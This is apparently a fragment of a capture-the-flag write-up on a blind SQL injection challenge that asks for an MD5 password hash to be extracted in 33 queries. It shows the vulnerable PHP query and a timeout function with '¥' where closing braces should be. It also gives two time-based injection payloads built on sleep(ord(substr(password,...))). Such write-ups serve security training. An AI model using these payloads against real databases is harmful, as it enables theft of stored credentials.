Writeup Blinded by the lighter
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1. Again your mission is to extract an md5 password hash out of the database.
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2. This time your limit for this blind sql injection are 33 queries.
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3. Also you have to accomplish this task 3 times consecutively, to prove you have solved the challenge.
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$query = "SELECT 1 FROM (SELECT password FROM blight WHERE sessid=$sessid) b WHERE password='$password'";
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/** * Check if you were too slow.
* @return true|false

*/
function blightTimeout(){
if (false === ($start = GWF_Session::getOrDefault('BLIGHT2_TIME_START', false))){
return true;
¥
else{
return (time() - $start) > BLIGHT2_TIME;
¥
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' or sleep(ord(substr(password,1,1)))
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' or sleep((ord(substr(password,1,1))-46)/2) #
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